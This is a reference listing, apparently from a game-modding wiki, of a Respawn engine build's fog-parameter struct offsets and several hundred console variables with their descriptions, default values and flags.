+class fogplayerparamsstate_t + +``` +{ + enable: Bool, + botAlt: Float, + topAlt: Float, + halfDistBot: Float, + halfDistTop: Float, + distOffset: Float, + densityScale: Float, + halfAngleDeg: Float, + distColorStr: Float, + dirColorStr: Float, + HDRColorScale: Float, + minFadeTime: Float, + forceOntoSky: Bool, + distColor: Color32, + dirColor: Color32, + vlParams.color: Vector, + vlParams.distFalloff: Float, + vlParams.intensity: Float, + vlParams.scatter: Float, + vlParams.inShadowScatter: Float, + direction: Vector, + id: Int, +} +``` + +### Offsets + +``` +fogplayerparamsstate_t!0x0000 enable +fogplayerparamsstate_t!0x0004 botAlt +fogplayerparamsstate_t!0x0008 topAlt +fogplayerparamsstate_t!0x000c halfDistBot +fogplayerparamsstate_t!0x0010 halfDistTop +fogplayerparamsstate_t!0x0014 distOffset +fogplayerparamsstate_t!0x0018 densityScale +fogplayerparamsstate_t!0x001c halfAngleDeg +fogplayerparamsstate_t!0x0020 distColorStr +fogplayerparamsstate_t!0x0024 dirColorStr +fogplayerparamsstate_t!0x0028 HDRColorScale +fogplayerparamsstate_t!0x002c minFadeTime +fogplayerparamsstate_t!0x0030 forceOntoSky +fogplayerparamsstate_t!0x0031 distColor +fogplayerparamsstate_t!0x0035 dirColor +fogplayerparamsstate_t!0x003c vlParams.color +fogplayerparamsstate_t!0x0048 vlParams.distFalloff +fogplayerparamsstate_t!0x004c vlParams.intensity +fogplayerparamsstate_t!0x0050 vlParams.scatter +fogplayerparamsstate_t!0x0054 vlParams.inShadowScatter +fogplayerparamsstate_t!0x0058 direction +fogplayerparamsstate_t!0x0064 id +``` +
+ +## ConVars + +
+ + +default: `"1.0"` +flags: `0x0` +
+
+Allow_auto_Party + + + +default: `"0"` +flags: `0x2` +
+
+BlendBonesMode + + + +default: `"2"` +flags: `0x2002` +
+
+Communities_TextUseLocalName + + + +default: `"1"` +flags: `0x2` +
+
+CrossPlay_user_optin + +Our Crossplay opt-in preference + +default: `"1"` +flags: `0x1000200` +
+
+DigiCertGlobalRoot_usable + + + +default: `"1"` +flags: `0x2` +
+
+DoorSoundPrefixDouble + +Sound prefix for door sounds for double doors + +default: `"Door_Single_"` +flags: `0x2` +
+
+DoorSoundPrefixSingle + +Sound prefix for door sounds for single doors + +default: `"Door_Single_"` +flags: `0x2` +
+
+EADP_AcceptInvite_Check_isAcceptingInvite + + + +default: `"1"` +flags: `0x2` +
+
+EADP_RTM_DELAY_QUERRY_SCRIPT_SECONDS + + + +default: `"1"` +flags: `0x2` +
+
+EADP_RTM_DELAY_QUERRY_SECONDS + + + +default: `"2"` +flags: `0x2` +
+
+EADP_RTM_Enabled + +Allow RTM code to work! + +default: `"1"` +flags: `0x2` +
+
+EADP_RTM_Productid + + + +default: `"r5"` +flags: `0x2` +
+
+EADP_SEARCH_Enabled + +Allow EADP SEARCH code to work! + +default: `"1"` +flags: `0x2` +
+
+EADP_optin_datachange_throttle + + + +default: `"2"` +flags: `0x2` +min value: `0.1` +max value: `5` +
+
+EADP_search_accountname_count + +The Number of responce from a name search. + +default: `"20"` +flags: `0x2` +
+
+EADP_search_use_starts_with + + + +default: `"1"` +flags: `0x2` +
+
+EADP_server_enviorment + + + +default: `"INT"` +flags: `0x2` +
+
+EAPD_friends_invite_has_platform + + + +default: `"1"` +flags: `0x2` +
+
+Invite_Flyout_Off + +Used to disable Invite Fly Outs. + +default: `"0"` +flags: `0x1000000` +
+
+OriginAllowRebootClientAuthTokens + + + +default: `"1"` +flags: `0x2` +
+
+OriginRebootClientAuthTokens_Retryinterval + + + +default: `"1"` +flags: `0x2` +
+
+ScriptDisallowedToUsePersistenceOnSP + + + +default: `"0"` +flags: `0x2002` +
+
+ScriptSaveAllowed + + + +default: `"1"` +flags: `0x2002` +
+
+StreamMicDisabled + + + +default: `"0"` +flags: `0x2` +
+
+TLS_trust_cert + + + +default: `"0"` +flags: `0x2` +
+
+TalkIsStream + + + +default: `"0"` +flags: `0x80` +
+
+TextDataFromCommunityOnlyInLobby + + + +default: `"1"` +flags: `0x2` +
+
+VoiceDataFromCommunityOnlyInLobby + + + +default: `"1"` +flags: `0x2` +
+
+VoiceNeedsReset + + + +default: `"0"` +flags: `0x2` +
+
+ai_titan_grapple_max_len + + + +default: `"3000"` +flags: `0x2002` +
+
+airslowmo_enabled + +Enables air slowmo + +default: `"0"` +flags: `0x2002` +
+
+airslowmo_enter_time + +Duration it takes to reach full slowmo + +default: `"0.25"` +flags: `0x2002` +
+
+airslowmo_ground_immediate_end + +Controls whether air slowmo fades out after landing or immediately stops + +default: `"0"` +flags: `0x2002` +
+
+airslowmo_leave_time + +Duration it takes to leave full slowmo + +default: `"1.0"` +flags: `0x2002` +
+
+airslowmo_scripted_speed + + + +default: `"0.8"` +flags: `0x2002` +
+
+airslowmo_when_hovering + +Replaces hovering with air slowmo + +default: `"1"` +flags: `0x2002` +
+
+animEvent_debug + +1 = sparse, 2 = verbose + +default: `"0"` +flags: `0x2002` +
+
+animEvent_debugEnt + + + +default: `"0"` +flags: `0x2` +
+
+animEvent_debug_cl + +1 = sparse, 2 = verbose + +default: `"0"` +flags: `0x2` +
+
+anim_estimateVelocity + + + +default: `"0"` +flags: `0x2002` +
+
+anim_playerMovementAngleMargin + + + +default: `"10"` +flags: `0x2002` +
+
+anim_player_ragdoll_fix + + + +default: `"1"` +flags: `0x2002` +
+
+anim_print_transition_overflow + + + +default: `"0"` +flags: `0x2002` +
+
+anim_runGestureAnimEventsToCompletionOnReset_client + + + +default: `"0"` +flags: `0x6000` +
+
+anim_showstate + +Show the (client) animation state for the specified entity (-1 for none). + +default: `"-1"` +flags: `0x6002` +
+
+anim_showstatelog + +1 to output anim_showstate to Msg(). 2 to store in AnimState.log. 3 for both. + +default: `"0"` +flags: `0x6002` +
+
+anim_transitionsequences + +Enables blended transitions between sequences. + +default: `"1"` +flags: `0x2002` +
+
+anim_view_entity_third_person_camera_use_move_parent + + + +default: `"0"` +flags: `0x2002` +
+
+announcement + + + +default: `""` +flags: `0x12` +
+
+announcementImage + + + +default: `""` +flags: `0x12` +
+
+announcementVersion + + + +default: `"0"` +flags: `0x12` +
+
+assetdownloads_desiredState + + + +default: `"1"` +flags: `0x2` +
+
+assetdownloads_enabled + + + +default: `"1"` +flags: `0x2` +
+
+assetdownloads_hostname + + + +default: `"r5-assets.stryder.respawn.com"` +flags: `0x2` +
+
+async_serialize + +Force async reads to serialize for profiling + +default: `"0"` +flags: `0x2` +
+
+automantle_backoff_anim_maxfrac + +Fraction of mantle after which pulling back simply aborts the mantle + +default: `"0.7"` +flags: `0x2002` +
+
+automantle_cooldown + +Minimum time between mantles + +default: `".25"` +flags: `0x2002` +
+
+automantle_dangle_required_space + +Required space under the ledge to dangle + +default: `"60"` +flags: `0x2002` +
+
+automantle_debug + +Debugs player auto-mantle behavior + +default: `"0"` +flags: `0x2002` +
+
+automantle_disable_hang + +disables the hang mantle behavior + +default: `"0"` +flags: `0x2002` +
+
+automantle_enable + +Enables player auto-mantle behavior + +default: `"1"` +flags: `0x2002` +
+
+automantle_forwarddist + +Distance forward to do the ground check from when auto-mantling + +default: `"26.f"` +flags: `0x2002` +
+
+automantle_gun_enable_height + +Eye height above ledge at which gun is reenabled + +default: `"33"` +flags: `0x2002` +
+
+automantle_height_above + +Mantle height above ledge below which the "above" animation is used and above which the "high" animation is used + +default: `"30"` +flags: `0x2002` +
+
+automantle_height_below + +Mantle height above ledge below which the "below" animation is used + +default: `"-10"` +flags: `0x2002` +
+
+automantle_height_level + +Mantle height above ledge below which the "level" animation is used + +default: `"10"` +flags: `0x2002` +
+
+automantle_jumpoff_anim_maxfrac + +Maximum fraction of mantle at which jump off animation is played + +default: `"0.5"` +flags: `0x2002` +
+
+automantle_jumpoff_duration + +Duration of jump off animation when jumping off + +default: `"0.1"` +flags: `0x2002` +
+
+automantle_max_frac + +Fractional amount (0-1) player can move forward without hitting jump. + +default: `"0.5"` +flags: `0x2002` +
+
+automantle_maxangle_push + +Max angle the player can be pushing from the wall normal to auto-mantle + +default: `"50"` +flags: `0x2002` +
+
+automantle_maxangle_view + +Max angle the player can be facing from the wall to auto-mantle + +default: `"50"` +flags: `0x2002` +
+
+automantle_min_frac + +Fractional amount (0-1) player can move backward without hitting jump. + +default: `"0.1"` +flags: `0x2002` +
+
+automantle_mindist + +Minimum forward distance when auto-mantling + +default: `"18.f"` +flags: `0x2002` +
+
+automantle_rest_frac + +Fractional amount (0-1) player will tend toward when no input is given. + +default: `"0.4"` +flags: `0x2002` +
+
+automantle_rest_frac_below + +Replaces rest_frac when using the "below" animation + +default: `"0.3"` +flags: `0x2002` +
+
+automantle_searchdist + +Forward distance within which to look for a ledge to auto-mantle + +default: `"5.f"` +flags: `0x2002` +
+
+automantle_view_correction_speed + +Speed at which view direction is clamped when mantling + +default: `"180"` +flags: `0x4000` +
+
+automantle_view_high_yaw_max + +Max view yaw when mantling with the "high" mantle animation + +default: `"90"` +flags: `0x4000` +
+
+automantle_view_pitch_max + +Max view pitch when mantling + +default: `"35"` +flags: `0x4000` +
+
+automantle_view_pitch_min + +Min view pitch when mantling + +default: `"-80"` +flags: `0x4000` +
+
+automantle_view_yaw_max + +Max view yaw when mantling + +default: `"60"` +flags: `0x4000` +
+
+automantle_wallrun_maxangle_view + +Max angle the player can be facing from the wall to auto-mantle while wall running + +default: `"45"` +flags: `0x2002` +
+
+baseanimatingoverlay_playbackRateThreshold + + + +default: `"0.05"` +flags: `0x2` +
+
+baselines_print + + + +default: `"0"` +flags: `0x2` +
+
+bhit_enable + +Enables bhit commands from the client + +default: `"0"` +flags: `0x2002` +
+
+bhit_reliable + +Makes bhit commands reliable messages + +default: `"1"` +flags: `0x2002` +
+
+bink_materials_enabled + +Allows materials with 'Emissive Uses Video' checked to play video on the material + +default: `"1"` +flags: `0x2` +
+
+bink_preload_videopanel_movies + +Preload Bink movies used by VideoPanel. + +default: `"1"` +flags: `0x2` +
+
+boost_jetwash_prediction_factor + +Factor used to scale player's velocity when finding jetwash trace point. + +default: `"20.0f"` +flags: `0x2002` +
+
+bot_lagOut + +Cause bots to lag out + +default: `"0"` +flags: `0x2` +
+
+budget_animatingEntities + + + +default: `"5000"` +flags: `0x2` +
+
+budget_animationOverlayEntities + + + +default: `"260"` +flags: `0x2` +
+
+budget_combatCharEntities + + + +default: `"200"` +flags: `0x2` +
+
+budget_weaponEntities + + + +default: `"1200"` +flags: `0x2` +
+
+budget_ziplineEntities + + + +default: `"250"` +flags: `0x2` +
+
+bug_reproNum + + + +default: `"0"` +flags: `0x2002` +
+
+build_nonmerged + + + +default: `"1"` +flags: `0x2` +
+
+buildcubemaps_async + + + +default: `"1"` +flags: `0x4000` +
+
+buildcubemaps_bakery + + + +default: `"0"` +flags: `0x2` +
+
+buildcubemaps_index + + + +default: `"-1"` +flags: `0x4000` +
+
+buildcubemaps_pvs_start_early + + + +default: `"1"` +flags: `0x4000` +
+
+buildcubemaps_single_step + + + +default: `"0"` +flags: `0x4000` +
+
+building_cubemaps + + + +default: `"0"` +flags: `0x4000` +
+
+bulletPredictionDebug + + + +default: `"0"` +flags: `0x2002` +
+
+bullet_trace_test_debug + + + +default: `"0"` +flags: `0x2002` +
+
+bullet_trace_test_enable + + + +default: `"0"` +flags: `0x2002` +
+
+c_dropship_ground_fx_dist_interval + + + +default: `"256"` +flags: `0x2` +
+
+c_dropship_ground_fx_time_interval + + + +default: `"0.25"` +flags: `0x2` +
+
+c_dropship_rope_debug + + Used to visualize the drop ship rope interaction. + +default: `"0"` +flags: `0x2` +
+
+c_dropship_rope_events + +Turn on client side drop ship rope interaction detection. + +default: `"1"` +flags: `0x2` +
+
+c_dropship_rope_magnitude + +Used to scale the interaction of a drop ship and a rope. + +default: `"128"` +flags: `0x2` +
+
+c_dropship_rope_range + +Max distance away from a drop ship that a Rope is effected. + +default: `"1024"` +flags: `0x2` +
+
+c_maxdistance + + + +default: `"400"` +flags: `0x2` +
+
+c_maxpitch + + + +default: `"90"` +flags: `0x2` +
+
+c_maxyaw + + + +default: `"135"` +flags: `0x2` +
+
+c_mindistance + + + +default: `"30"` +flags: `0x2` +
+
+c_minpitch + + + +default: `"0"` +flags: `0x2` +
+
+c_minyaw + + + +default: `"-135"` +flags: `0x2` +
+
+c_orthoheight + + + +default: `"100"` +flags: `0x2` +
+
+c_orthowidth + + + +default: `"100"` +flags: `0x2` +
+
+c_thirdpersonshoulderaimdistADS_110 + + + +default: `"35.0"` +flags: `0x2` +
+
+c_thirdpersonshoulderaimdistADS_70 + + + +default: `"50.0"` +flags: `0x2` +
+
+c_thirdpersonshoulderaimdistADS_90 + + + +default: `"40.0"` +flags: `0x2` +
+
+c_thirdpersonshoulderaimdist_110 + + + +default: `"60.0"` +flags: `0x2` +
+
+c_thirdpersonshoulderaimdist_70 + + + +default: `"100.0"` +flags: `0x2` +
+
+c_thirdpersonshoulderaimdist_90 + + + +default: `"75.0"` +flags: `0x2` +
+
+c_thirdpersonshoulderdist + + + +default: `"0.0"` +flags: `0x2` +
+
+c_thirdpersonshouldergetsviewpunch + + + +default: `"1"` +flags: `0x2` +
+
+c_thirdpersonshoulderheight + + + +default: `"0.0"` +flags: `0x2` +
+
+c_thirdpersonshoulderoffset + + + +default: `"17.0"` +flags: `0x2` +
+
+c_threadedAnimPostData + + + +default: `"1"` +flags: `0x2` +
+
+cam_collision + +When in thirdperson and cam_collision is set to 1, an attempt is made to keep the camera from passing though walls. + +default: `"1"` +flags: `0x2` +
+
+cam_idealdelta + +Controls the speed when matching offset to ideal angles in thirdperson view + +default: `"4.0"` +flags: `0x2` +
+
+cam_idealdist + + + +default: `"150"` +flags: `0x2` +
+
+cam_ideallag + +Amount of lag used when matching offset to ideal angles in thirdperson view + +default: `"4.0"` +flags: `0x2` +
+
+cam_idealpitch + + + +default: `"0"` +flags: `0x2` +
+
+cam_idealyaw + + + +default: `"0"` +flags: `0x2` +
+
+cam_pitchLock_feetRelative + + + +default: `"0"` +flags: `0x2` +
+
+cam_pitchlock_on + + + +default: `"0"` +flags: `0x2` +
+
+cam_pitchlock_period + + + +default: `"1.0"` +flags: `0x2` +
+
+cam_pitchlock_phase + + + +default: `"0.0"` +flags: `0x2` +
+
+cam_pitchlock_pitchBase + + + +default: `"0.0"` +flags: `0x2` +
+
+cam_pitchlock_pitchRange + + + +default: `"0.0"` +flags: `0x2` +
+
+cam_pitchlock_pitchWiggleRoom + + + +default: `"0.0"` +flags: `0x2` +
+
+cam_player_viewheight_scale + + + +default: `"1.0"` +flags: `0x2` +
+
+cam_showangles + +When in thirdperson, print viewangles/idealangles/cameraoffsets to the console. + +default: `"0"` +flags: `0x2` +
+
+cc_captiontrace + +Show missing closecaptions (0 = no, 1 = devconsole, 2 = show in hud) + +default: `"1"` +flags: `0x2` +
+
+cc_global_norepeat + +How often a caption can repeat, unless overriden by norepeat. (or 0) + +default: `"5"` +flags: `0x2` +
+
+cc_linger_time + +Close caption linger time in seconds. + +default: `"1.0"` +flags: `0x80` +
+
+cc_max_duration + +The max duration in seconds for a closed caption if event doesn't stop playing. + +default: `"30.0"` +flags: `0x2` +
+
+cc_minvisibleitems + +Minimum number of caption items to show. + +default: `"1"` +flags: `0x2` +
+
+cc_predisplay_time + +Close caption delay in seconds before showing caption. + +default: `"0.25"` +flags: `0x80` +
+
+cc_rui + +Use RUI to draw closecaption text. + +default: `"1"` +flags: `0x2` +
+
+cc_text_size + +Changes the size of subtitles and closed captions text. 0 = normal, 1 = large, 2 = huge. + +default: `"0"` +flags: `0x1000000` +
+
+cc_timeshift_norepeat + +How often a caption can repeat, unless overriden by norepeat. (timeshift only) (or 0) + +default: `"5"` +flags: `0x2` +
+
+chasecam_distanceMax_override + + + +default: `"0"` +flags: `0x2` +
+
+chat_rules_log_details + + + +default: `"0"` +flags: `0x2` +
+
+chatroom_console_ptt + + + +default: `"0"` +flags: `0x2` +
+
+chatroom_debug + + + +default: `"0"` +flags: `0x2` +
+
+chatroom_doRealNameLookups + + + +default: `"0"` +flags: `0x2` +
+
+chatroom_min_status_send_interval + + + +default: `"16"` +flags: `0x2` +
+
+chatroom_nameLength + + + +default: `"-1"` +flags: `0x2` +
+
+chatroom_namePaddingX + + + +default: `"12"` +flags: `0x2` +
+
+chatroom_nameWidth + + + +default: `"-1"` +flags: `0x2` +
+
+chatroom_onlyWhenActive + + + +default: `"1"` +flags: `0x2` +
+
+chatroom_sendServerMutes + + + +default: `"0"` +flags: `0x2` +
+
+chatroom_useSlopSpace + + + +default: `"0"` +flags: `0x2` +
+
+chatroom_voiceMode + + + +default: `"0"` +flags: `0x2` +
+
+chatroom_voiceMode + + + +default: `"0"` +flags: `0x2` +
+
+cheap_captions_fadetime + + + +default: `"0.5"` +flags: `0x2` +
+
+cheap_captions_test + + + +default: `"0"` +flags: `0x2` +
+
+chroma_enable + + + +default: `"1"` +flags: `0x80` +
+
+cl_NotifyAllLevelAssetsLoaded_endframe + + + +default: `"1"` +flags: `0x2` +
+
+cl_RunClientConnectScripts_Before_ProcessOnDataChangedEvents + + + +default: `"1"` +flags: `0x2` +
+
+cl_SetupAllBones + + + +default: `"0"` +flags: `0x2` +
+
+cl_ShowBoneSetupEnts + +Show which entities are having their bones setup each frame. + +default: `"0"` +flags: `0x2` +
+
+cl_adjustTimeEntsPerJob + + + +default: `"10"` +flags: `0x2` +
+
+cl_aggregate_particles + + + +default: `"1"` +flags: `0x2` +
+
+cl_allowABSCalculationDuringSnapshotScriptCalls + + + +default: `"1"` +flags: `0x2` +
+
+cl_allowABSDuringSnapshotScriptCalls + + + +default: `"1"` +flags: `0x2` +
+
+cl_allowAnimsToInterpolateBackward + + + +default: `"0"` +flags: `0x2` +
+
+cl_always_draw_3p_player + +Always draw the 3p player model, even when in first-person view + +default: `"0"` +flags: `0x2` +
+
+cl_always_ragdoll_radius + +Always create client ragdoll if within this distance to viewer + +default: `"500"` +flags: `0x2` +
+
+cl_anglespeedkey + + + +default: `"0.67"` +flags: `0x2` +
+
+cl_anim_blend_transition_dist + + + +default: `"2500"` +flags: `0x2` +
+
+cl_anim_detail_dist + + + +default: `"1500"` +flags: `0x2` +
+
+cl_anim_face_dist + + + +default: `"250"` +flags: `0x2` +
+
+cl_anim_sequence_transition_full_weight_optimization + + + +default: `"0"` +flags: `0x2` +
+
+cl_anim_sounds_seek + + + +default: `"1"` +flags: `0xa` +
+
+cl_approx_footstep_origin + + + +default: `"1"` +flags: `0x2` +
+
+cl_approx_tracer_origin + + + +default: `"1"` +flags: `0x2` +
+
+cl_async_bone_setup + + + +default: `"1"` +flags: `0x2` +
+
+cl_base_entity_effect_lock + + + +default: `"0"` +flags: `0x2` +
+
+cl_bones_incremental_blend + +Don't reblend bones which we don't need to in SetupBones. + +default: `"0"` +flags: `0x2` +
+
+cl_bones_incremental_transform + +Don't retransform bones which we don't need to in SetupBones. + +default: `"1"` +flags: `0x2` +
+
+cl_bones_oldhack + +Redo all previously transformed bones in SetupBones--old 'hack'. + +default: `"0"` +flags: `0x2` +
+
+cl_bounds_show_errors + + + +default: `"0"` +flags: `0x2` +
+
+cl_burninggibs + +A burning player that gibs has burning gibs. + +default: `"0"` +flags: `0x2` +
+
+cl_clock_correction + +Enable/disable clock correction on the client. + +default: `"1"` +flags: `0x4000` +
+
+cl_clock_correction_ahead_correct_interval + +Minimum interval over which the clock will try to correct to ideal when it's ahead + +default: `"20"` +flags: `0x4000` +
+
+cl_clock_correction_behind_correct_interval + +Interval over which the clock will try to correct to ideal when it's behind + +default: `"200"` +flags: `0x4000` +
+
+cl_clock_correction_force_server_tick + +Force clock correction to match the server tick + this offset (-999 disables it). + +default: `"999"` +flags: `0x4000` +
+
+cl_cmdbackup + +Number of redundant usercmds to send, to cover client->server packet loss + +default: `"2"` +flags: `0x2` +
+
+cl_cmdrate + +Max number of command packets sent to server per second + +default: `"60"` +flags: `0x2` +
+
+cl_configversion + +Configuration layout version. + +default: `"1"` +flags: `0x2` +
+
+cl_configversion_dummy + +Configuration layout version dummy. + +default: `"0"` +flags: `0x2` +
+
+cl_cull_weapon_fx + + + +default: `"1"` +flags: `0x2` +
+
+cl_dataBlockFragmentPL + + + +default: `"0.0"` +flags: `0x2` +min value: `0` +max value: `1` +
+
+cl_deathhints_enabled + + + +default: `"1"` +flags: `0x1000000` +
+
+cl_debugClientEntities + + + +default: `"0"` +flags: `0x2` +
+
+cl_debug_deferred_trace + + + +default: `"0"` +flags: `0x2` +
+
+cl_debug_deferred_trace_overlay + + + +default: `"0"` +flags: `0x2` +
+
+cl_debug_model_fx_sounds + + + +default: `"0"` +flags: `0x2` +
+
+cl_decal_alwayswhite + +Force FX decals to white (1), or white full alpha (2). + +default: `"1"` +flags: `0x2` +
+
+cl_decal_backoff + +Amount to back off FX decal trace by. + +default: `"4"` +flags: `0x2` +
+
+cl_deferred_effects + + + +default: `"1"` +flags: `0x2` +
+
+cl_deferred_trace_normal_priority + + + +default: `"1"` +flags: `0x2` +
+
+cl_demoviewoverride + +Override view during demo playback + +default: `"0"` +flags: `0x2` +
+
+cl_disable_ragdolls + + + +default: `"0"` +flags: `0x4000` +
+
+cl_disable_splitscreen_cpu_level_cfgs_in_pip + + + +default: `"1"` +flags: `0x2` +
+
+cl_disconnectOnTooManySnapshotFrames + +Disconnect when the client gets too many snapshot messages from the server without the server getting any messages from the client. + +default: `"0"` +flags: `0x2` +
+
+cl_doNetworkAsserts + +Turn off to disable some client asserts that fail rarely, presumably due to network bugs. + +default: `"0"` +flags: `0x2` +
+
+cl_doRecreateEnts + + + +default: `"1"` +flags: `0x2` +
+
+cl_draw_player_model + + + +default: `"1"` +flags: `0x2` +
+
+cl_drawhud + +Enable the rendering of the hud + +default: `"1"` +flags: `0x40004000` +
+
+cl_drawmonitors + + + +default: `"1"` +flags: `0x2` +
+
+cl_ejectbrass + + + +default: `"1"` +flags: `0x2` +
+
+cl_enable_remote_splitscreen + +Allows viewing of nonlocal players in a split screen fashion + +default: `"0"` +flags: `0x2` +
+
+cl_entCreateDeleteDebug + +If true, print out when we create or delete an entity on the client + +default: `"0"` +flags: `0x2` +
+
+cl_events_ignore_invalidate + + + +default: `"1"` +flags: `0x2` +
+
+cl_failremoteconnections + +Force connection attempts to time out + +default: `"0"` +flags: `0x2` +
+
+cl_fasttempentcollision + + + +default: `"5"` +flags: `0x2` +
+
+cl_flip_vis_bits + + + +default: `"0"` +flags: `0x2` +
+
+cl_flushentitypacket + +For debugging. Force the engine to flush an entity packet. + +default: `"0"` +flags: `0x4000` +
+
+cl_footstep_event_max_dist + + + +default: `"4000"` +flags: `0x2` +
+
+cl_footstep_event_max_dist_titan + + + +default: `"4000"` +flags: `0x2` +
+
+cl_forceAdjustTime + + + +default: `"0"` +flags: `0x2` +
+
+cl_fovScale + + + +default: `"1.27216005"` +flags: `0x41000200` +min value: `1` +max value: `1.7` +
+
+cl_gib_allow + + + +default: `"1"` +flags: `0x40000000` +
+
+cl_gib_attack_dir_scale + + + +default: `"1.0"` +flags: `0x2` +
+
+cl_gib_lifetime + + + +default: `"3"` +flags: `0x4000` +
+
+cl_idealpitchscale + +0 to turn off. 0.8 is a good starting value + +default: `"0"` +flags: `0x2` +
+
+cl_ignorepackets + +Force client to ignore packets (for debugging). + +default: `"0"` +flags: `0x4000` +
+
+cl_interp_all + +Disable interpolation list optimizations. + +default: `"0"` +flags: `0x2` +
+
+cl_interpolate + +Interpolate entities on the client. + +default: `"1.0"` +flags: `0x2` +
+
+cl_interpolate + +Interpolate entities on the client. + +default: `"1.0f"` +flags: `0x2` +
+
+cl_interpolateSoAllAnimsLoop + + + +default: `"1"` +flags: `0x2` +
+
+cl_interpolation_before_prediction + +Interpolate entities before doing prediction + +default: `"1"` +flags: `0x2` +
+
+cl_isUnderAge + + + +default: `"0"` +flags: `0x80000200` +
+
+cl_is_softened_locale + + + +default: `"0"` +flags: `0x80000` +
+
+cl_jiggle_bone_debug + +Display physics-based 'jiggle bone' debugging information + +default: `"0"` +flags: `0x4000` +
+
+cl_jiggle_bone_debug_pitch_constraints + +Display physics-based 'jiggle bone' debugging information + +default: `"0"` +flags: `0x4000` +
+
+cl_jiggle_bone_debug_yaw_constraints + +Display physics-based 'jiggle bone' debugging information + +default: `"0"` +flags: `0x4000` +
+
+cl_jiggle_bone_invert + + + +default: `"0"` +flags: `0x4000` +
+
+cl_jiggle_bone_sanity + +Prevent jiggle bones from pointing directly away from their target in case of numerical instability. + +default: `"0"` +flags: `0x2` +
+
+cl_keepPersistentDataOnDisconnect + + + +default: `"0"` +flags: `0x2` +
+
+cl_lagcompensation + +Perform server side lag compensation of weapon firing events. + +default: `"1"` +flags: `0x200` +
+
+cl_language + +Language + +default: `"english"` +flags: `0x2` +
+
+cl_leafsystemvis + + + +default: `"0"` +flags: `0x4000` +
+
+cl_lerpIfChildrenLerp + + + +default: `"1"` +flags: `0x2` +
+
+cl_loadBspFromServerInfo + + + +default: `"0"` +flags: `0x2` +
+
+cl_loadPostProcessShadersEarly + + + +default: `"0"` +flags: `0x2` +
+
+cl_loadStaticPropsInJob + + + +default: `"0"` +flags: `0x2` +
+
+cl_matchmaking_timeout + +Total time allowed for the client to resend the 'connect' attempt when matchmaking + +default: `"1"` +flags: `0x80000` +min value: `0.5` +max value: `20000` +
+
+cl_model_fx_gib_cull_front_dist + + + +default: `"3000"` +flags: `0x2` +
+
+cl_model_fx_gib_cull_radius + + + +default: `"1000"` +flags: `0x2` +
+
+cl_mouseenable + + + +default: `"1"` +flags: `0x2` +
+
+cl_move_use_dt + +Use the actual delta time for motion instead some super complicated system based on the server frame rate. + +default: `"1"` +flags: `0x2` +
+
+cl_noTimeoutLocalHost + + + +default: `"1"` +flags: `0x2` +
+
+cl_overrideEventTimes + + + +default: `"0"` +flags: `0x2` +
+
+cl_parallelParticlePreDrawWork + + + +default: `"1"` +flags: `0x2` +
+
+cl_parallel_clientside_animations + + + +default: `"1"` +flags: `0x2` +
+
+cl_particle_batch_mode + + + +default: `"1"` +flags: `0x2` +
+
+cl_particle_fallback_base + +Base for falling back to cheaper effects under load. + +default: `"0"` +flags: `0x40000000` +
+
+cl_particle_fallback_multiplier + +Multiplier for falling back to cheaper effects under load. + +default: `"1"` +flags: `0x40000000` +
+
+cl_particle_limiter_display_killed + +Display a red box around killed fx. + +default: `"0"` +flags: `0x4000` +
+
+cl_particle_limiter_hide_killable + +Hide fx than could be killed if over limit. + +default: `"0"` +flags: `0x2002` +
+
+cl_particle_limiter_max_particle_count + +Limit the total number of active particles. 0 to not limit. + +default: `"10000"` +flags: `0x4000` +
+
+cl_particle_limiter_max_system_count + +Limit the total number of active particle systems. 0 to not limit. + +default: `"0"` +flags: `0x4000` +
+
+cl_particle_limiter_min_kill_distance + +Only kill fx that are further than this distance from the player. + +default: `"4000"` +flags: `0x4000` +
+
+cl_particle_limiter_overlay + +Display particle limiter infos. + +default: `"0"` +flags: `0x4000` +
+
+cl_particle_max_count + + + +default: `"0"` +flags: `0x2` +
+
+cl_particle_sim_fallback_base_multiplier + +How aggressive the switch to fallbacks will be depending on how far over the cl_particle_sim_fallback_threshold_ms the sim time is. Higher numbers are more aggressive. + +default: `"5"` +flags: `0x2` +
+
+cl_particle_sim_fallback_threshold_ms + +Amount of simulation time that can elapse before new systems start falling back to cheaper versions + +default: `"6.0"` +flags: `0x2` +
+
+cl_particle_snoozetime + +Particle snooze time in seconds (0 is off) + +default: `"0.166667"` +flags: `0x4000` +
+
+cl_particles_show_bbox + + + +default: `"0"` +flags: `0x4000` +
+
+cl_particles_show_bbox_name + +show the bounding box of only particles with this name + +default: `""` +flags: `0x2` +
+
+cl_particles_show_controlpoints + +1 to show parent effects, 2 shows all children effects too + +default: `"0"` +flags: `0x4000` +
+
+cl_pclass + +Dump entity by prediction classname. + +default: `""` +flags: `0x4000` +
+
+cl_pdump + +Dump info about this entity to screen. + +default: `"-1"` +flags: `0x4000` +
+
+cl_phys_maxticks + +Sets the max number of physics ticks allowed for client-side physics (ragdolls) + +default: `"3"` +flags: `0x2` +
+
+cl_phys_show_active + + + +default: `"0"` +flags: `0x4000` +
+
+cl_phys_timescale + +Sets the scale of time for client-side physics (ragdolls) + +default: `"1.0"` +flags: `0x4000` +
+
+cl_physics_invalidate_ents + + + +default: `"0"` +flags: `0x2` +
+
+cl_physics_maxvelocity + +Max velocity of a vphysics object on the client + +default: `"4000.0"` +flags: `0x4000` +
+
+cl_physicsshadowupdate_render + + + +default: `"0"` +flags: `0x2` +
+
+cl_pitchspeed + + + +default: `"225"` +flags: `0x2` +
+
+cl_playback_screenshots + +Allows the client to playback screenshot and jpeg commands in demos. + +default: `"0"` +flags: `0x2` +
+
+cl_player_fullupdate_predicted_origin_fix + + + +default: `"1"` +flags: `0x2` +
+
+cl_postSnapshotTransitionBlockCount + + + +default: `"20"` +flags: `0x2` +
+
+cl_preSnapshotTransitionBlockCount + + + +default: `"10"` +flags: `0x2` +
+
+cl_pred_error_verbose + +Show more field info when spewing prediction errors. + +default: `"0"` +flags: `0x2` +
+
+cl_pred_optimize + +Optimize for not rerunning prediction if there was no difference between what we predicted and the incoming networked state + +default: `"1"` +flags: `0x2` +
+
+cl_predict + +Perform client side prediction. + +default: `"1"` +flags: `0x200` +
+
+cl_predict_basetoggles + + + +default: `"1"` +flags: `0x2` +
+
+cl_predict_cmdlimit + +Artificially limits the number of remembered commands that can be used for prediction + +default: `"750"` +flags: `0x4000` +
+
+cl_predict_error_icon_duration + +Duration for prediction error icon to stay visible + +default: `"0.5"` +flags: `0x4000` +
+
+cl_predict_error_icon_show + +Whether to show the prediction error icon + +default: `"1"` +flags: `0x4000` +
+
+cl_predict_error_icon_threshold_angle + +Angle error required to show prediction error icon + +default: `"0.01"` +flags: `0x4000` +
